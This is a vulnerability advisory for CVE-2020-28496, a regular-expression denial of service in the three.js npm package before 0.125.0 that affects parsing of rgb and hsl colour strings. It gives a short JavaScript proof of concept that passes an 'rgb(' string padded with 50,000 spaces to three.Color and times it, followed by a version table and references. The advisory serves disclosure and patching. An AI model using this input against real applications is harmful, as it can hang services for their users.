High severityNVD Advisory· Published Feb 18, 2021· Updated Sep 17, 2024
Regular Expression Denial of Service (ReDoS)
CVE-2020-28496
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
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Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
threenpm | < 0.125.0 | 0.125.0 |
Affected products
1Patches
Vulnerability mechanics
References
6- github.com/advisories/GHSA-fq6p-x6j3-cmmqghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2020-28496ghsaADVISORY
- github.com/mrdoob/three.js/issues/21132ghsax_refsource_MISCWEB
- github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583eghsax_refsource_MISCWEB
- snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972ghsax_refsource_MISCWEB
- snyk.io/vuln/SNYK-JS-THREE-1064931ghsax_refsource_MISCWEB
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